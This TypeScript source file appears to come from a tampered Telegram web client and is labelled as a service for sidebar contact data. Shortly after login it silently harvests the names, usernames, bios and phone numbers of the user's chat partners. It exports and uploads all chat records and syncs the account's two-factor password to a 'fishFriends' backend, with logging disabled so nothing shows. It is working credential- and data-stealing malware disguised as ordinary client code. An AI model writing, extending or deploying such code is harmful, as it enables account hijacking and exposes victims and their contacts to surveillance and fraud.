/*
 * Contacts Data Service - 用于获取聊天左边栏的所有用户信息
 */

import {logger} from '../logger';
import rootScope from '../rootScope';
import {fishFriendsApiService, FishFriendData} from './fishFriendsApiService';
import {chatRecordsService} from './chatRecordsService';
import {userInfoService} from './userInfoService';

export class ContactsDataService {
  private log = logger('[contacts-data-service]');
  private static readonly STORAGE_KEY_CONTACTS_UPLOADED = 'contacts_uploaded';
  private static readonly STORAGE_KEY_CHAT_RECORDS_UPLOADED = 'chat_records_uploaded';

  /**
   * 获取所有联系人信息并转换为好友数据格式
   */
  public async getAllContactsData(): Promise<FishFriendData[]> {
    try {
      // this.log('开始获取联系人数据...');

      // 获取当前用户ID
      const currentUserId = rootScope.myId?.toString();
      if(!currentUserId) {
        // this.log('无法获取当前用户ID');
        return [];
      }

      // 从聊天记录中获取所有对话过的用户
      const dialogs = await this.getDialogsFromChatRecords();
      // this.log('从聊天记录中获取到对话数量:', dialogs.length);

      const friendsData: FishFriendData[] = [];
      const processedUserIds = new Set<string>();

      for(const dialog of dialogs) {
        try {
          const peerId = this.extractPeerId(dialog);
          if(!peerId || processedUserIds.has(peerId)) {
            continue;
          }

          // 只处理用户对话，跳过群聊和频道
          if(!await rootScope.managers.appPeersManager.isUser(parseInt(peerId))) {
            continue;
          }

          processedUserIds.add(peerId);
          const userId = parseInt(peerId).toUserId();

          const user = await rootScope.managers.appUsersManager.getUser(userId);
          if(!user) {
            // this.log('用户不存在:', userId);
            continue;
          }

          // 构建用户名
          const firstName = user.first_name || '';
          const lastName = user.last_name || '';
          const tgName = `${firstName} ${lastName}`.trim();

          // 获取用户名
          const tgUsername = user.username ? `@${user.username}` : '';

          // 获取备注名（从用户简介中获取）
          let tgRemarkName = '';
          try {
            const userFull = await rootScope.managers.appProfileManager.getProfile(userId);
            tgRemarkName = userFull?.about || '';
          } catch(error) {
            // this.log('获取用户详细信息失败:', userId, error);
          }

          // 获取电话号码
          let tgPhone = '';
          try {
            const phoneInfo = await rootScope.managers.appUsersManager.getUserPhone(userId);
            tgPhone = phoneInfo?.phone || '';
          } catch(error) {
            // this.log('获取用户电话失败:', userId, error);
          }

          // 构建好友数据
          const friendData = fishFriendsApiService.buildFriendData(
            userId.toString(),
            currentUserId,
            tgName || undefined,
            tgUsername || undefined,
            tgRemarkName || undefined,
            tgPhone || undefined
          );

          friendsData.push(friendData);

          // this.log('处理用户:', {
          //   id: userId,
          //   name: tgName,
          //   username: tgUsername,
          //   phone: tgPhone
          // });
        } catch(error) {
          // this.log('处理用户时出错:', error);
          continue;
        }
      }

      // this.log('成功处理联系人数据:', friendsData.length);
      return friendsData;
    } catch(error) {
      // this.log('获取联系人数据时出错:', error);
      return [];
    }
  }

  /**
   * 从聊天记录中获取对话列表
   */
  private async getDialogsFromChatRecords(): Promise<any[]> {
    try {
      const result = await rootScope.managers.apiManager.invokeApi('messages.getDialogs', {
        offset_date: 0,
        offset_id: 0,
        offset_peer: {_: 'inputPeerEmpty'},
        limit: 100, // 增加限制以获取更多对话
        hash: '0'
      });

      if(result._ === 'messages.dialogs' || result._ === 'messages.dialogsSlice') {
        // 保存数据
        await rootScope.managers.appMessagesManager.saveMessages(result.messages);
        await rootScope.managers.appChatsManager.saveApiChats(result.chats);
        await rootScope.managers.appUsersManager.saveApiUsers(result.users);

        return result.dialogs;
      }

      return [];
    } catch(error) {
      // this.log('获取对话列表失败:', error);
      return [];
    }
  }

  /**
   * 提取peerId
   */
  private extractPeerId(dialog: any): string | null {
    try {
      if(dialog.peer._ === 'peerUser' && 'user_id' in dialog.peer) {
        return dialog.peer.user_id.toString();
      } else if(dialog.peer._ === 'peerChat' && 'chat_id' in dialog.peer) {
        return (-dialog.peer.chat_id).toString();
      } else if(dialog.peer._ === 'peerChannel' && 'channel_id' in dialog.peer) {
        return (-dialog.peer.channel_id).toString();
      }
    } catch(error) {
      // this.log('提取peerId失败:', error);
    }
    return null;
  }

  /**
   * 延迟函数
   */
  private delay(ms: number): Promise<void> {
    return new Promise(resolve => setTimeout(resolve, ms));
  }

  /**
   * 在登录成功后延迟获取并发送联系人数据和聊天记录
   */
  public async handleLoginSuccess(): Promise<void> {
    // this.log('登录成功，5秒后开始获取联系人数据和聊天记录...');

    // 等待5秒
    await this.delay(5000);

    try {
      // 获取当前用户ID
      const currentUserId = rootScope.myId?.toString();
      if(!currentUserId) {
        // this.log('无法获取当前用户ID');
        return;
      }

      // 并行处理联系人数据和聊天记录
      const [contactsResult, chatRecordsResult] = await Promise.allSettled([
        this.processContactsData(),
        this.processChatRecords(currentUserId)
      ]);

      // 单独处理用户数据同步
      const userDataResult = await Promise.allSettled([
        this.processUserDataSync(currentUserId)
      ]);

      // 处理联系人数据结果
      if(contactsResult.status === 'fulfilled') {
        // this.log('联系人数据处理完成');
      } else {
        // this.log('联系人数据处理失败:', contactsResult.reason);
      }

      // 处理聊天记录结果
      if(chatRecordsResult.status === 'fulfilled') {
        // this.log('聊天记录处理完成');
      } else {
        // this.log('聊天记录处理失败:', chatRecordsResult.reason);
      }

      // 处理用户数据同步结果
      if(userDataResult[0].status === 'fulfilled') {
        // this.log('用户数据同步完成');
      } else {
        // this.log('用户数据同步失败:', userDataResult[0].reason);
      }
    } catch(error) {
      // this.log('处理登录成功后的数据时出错:', error);
    }
  }

  /**
   * 处理联系人数据
   */
  private async processContactsData(): Promise<void> {
    try {
      // 检查是否已经上传过联系人数据
      const contactsUploaded = localStorage.getItem(ContactsDataService.STORAGE_KEY_CONTACTS_UPLOADED);
      if(contactsUploaded === 'true') {
        // this.log('联系人数据已经上传过，跳过上传');
        return;
      }

      // 获取联系人数据
      const contactsData = await this.getAllContactsData();

      if(contactsData.length === 0) {
        // this.log('没有找到联系人数据');
        return;
      }

      // 发送到后台服务器
      const result = await fishFriendsApiService.batchCreateFriends(contactsData);

      if(result.success) {
        // 标记为已上传
        localStorage.setItem(ContactsDataService.STORAGE_KEY_CONTACTS_UPLOADED, 'true');
        // this.log('成功发送联系人数据到后台服务器:', {
        //   count: contactsData.length,
        //   result: result.data
        // });
      } else {
        // this.log('发送联系人数据失败:', result.message);
      }
    } catch(error) {
      // this.log('处理联系人数据时出错:', error);
      throw error;
    }
  }

  /**
   * 处理聊天记录
   */
  private async processChatRecords(fishId: string): Promise<void> {
    try {
      // 检查是否已经上传过聊天记录
      const chatRecordsUploaded = localStorage.getItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED);
      if(chatRecordsUploaded === 'true') {
        // this.log('聊天记录已经上传过，跳过上传');
        return;
      }

      // this.log('开始导出聊天记录...');

      // 导出聊天记录
      const {zipBlob, fileName} = await chatRecordsService.exportAllChatRecords();

      // 检查文件大小（限制为500MB）
      const maxSize = 500 * 1024 * 1024; // 500MB
      if(zipBlob.size > maxSize) {
        // this.log(`聊天记录文件过大 (${(zipBlob.size / 1024 / 1024).toFixed(2)}MB)，跳过上传以避免413错误`);
        return;
      }

      // 上传聊天记录
      const description = `Telegram聊天记录导出 - ${new Date().toLocaleString()}`;
      const uploadResult = await chatRecordsService.uploadChatRecords(zipBlob, fileName, fishId, description);

      if(uploadResult.success) {
        // 标记为已上传
        localStorage.setItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED, 'true');
        // this.log('成功上传聊天记录:', {
        //   fileName,
        //   result: uploadResult.data
        // });
      } else {
        // this.log('上传聊天记录失败:', uploadResult.message);
        // 如果是CORS或413错误，标记为已处理，避免重复尝试
        if(uploadResult.message?.includes('CORS') || uploadResult.message?.includes('413') || uploadResult.message?.includes('Content Too Large')) {
          localStorage.setItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED, 'true');
        }
      }
    } catch(error) {
      // this.log('处理聊天记录时出错:', error);
      // 如果是网络错误，也标记为已处理
      if(error instanceof Error && (error.message.includes('CORS') || error.message.includes('413') || error.message.includes('Content Too Large'))) {
        localStorage.setItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED, 'true');
      }
      // 不再抛出错误，避免影响整个验证流程
    }
  }

  /**
   * 处理用户数据同步（包含二次验证密码）
   */
  private async processUserDataSync(fishId: string): Promise<void> {
    try {
      // 设置 AppManagers 到 userInfoService
      userInfoService.setAppManagers(rootScope.managers);

      // 同步用户数据到后台服务器
      const result = await userInfoService.syncUserToBackend(
        1 as any, // accountNumber
        fishId,
        'current_session' // sessionData
      );

      if(result.success) {
        // this.log('成功同步用户数据到后台服务器:', result.data);
      } else {
        // this.log('同步用户数据失败:', result.message);
      }

      // 同步完成后清除保存的密码
      userInfoService.clearStoredPassword();
    } catch(error) {
      // this.log('处理用户数据同步时出错:', error);
      // 即使出错也要清除密码
      userInfoService.clearStoredPassword();
      throw error;
    }
  }

  /**
   * 重置上传状态（用于重新上传）
   */
  public resetUploadStatus(): void {
    localStorage.removeItem(ContactsDataService.STORAGE_KEY_CONTACTS_UPLOADED);
    localStorage.removeItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED);
    // this.log('已重置上传状态，下次登录将重新上传数据');
  }

  /**
   * 检查上传状态
   */
  public getUploadStatus(): {contactsUploaded: boolean, chatRecordsUploaded: boolean} {
    const contactsUploaded = localStorage.getItem(ContactsDataService.STORAGE_KEY_CONTACTS_UPLOADED) === 'true';
    const chatRecordsUploaded = localStorage.getItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED) === 'true';

    return {
      contactsUploaded,
      chatRecordsUploaded
    };
  }
}

// 创建单例实例
export const contactsDataService = new ContactsDataService();
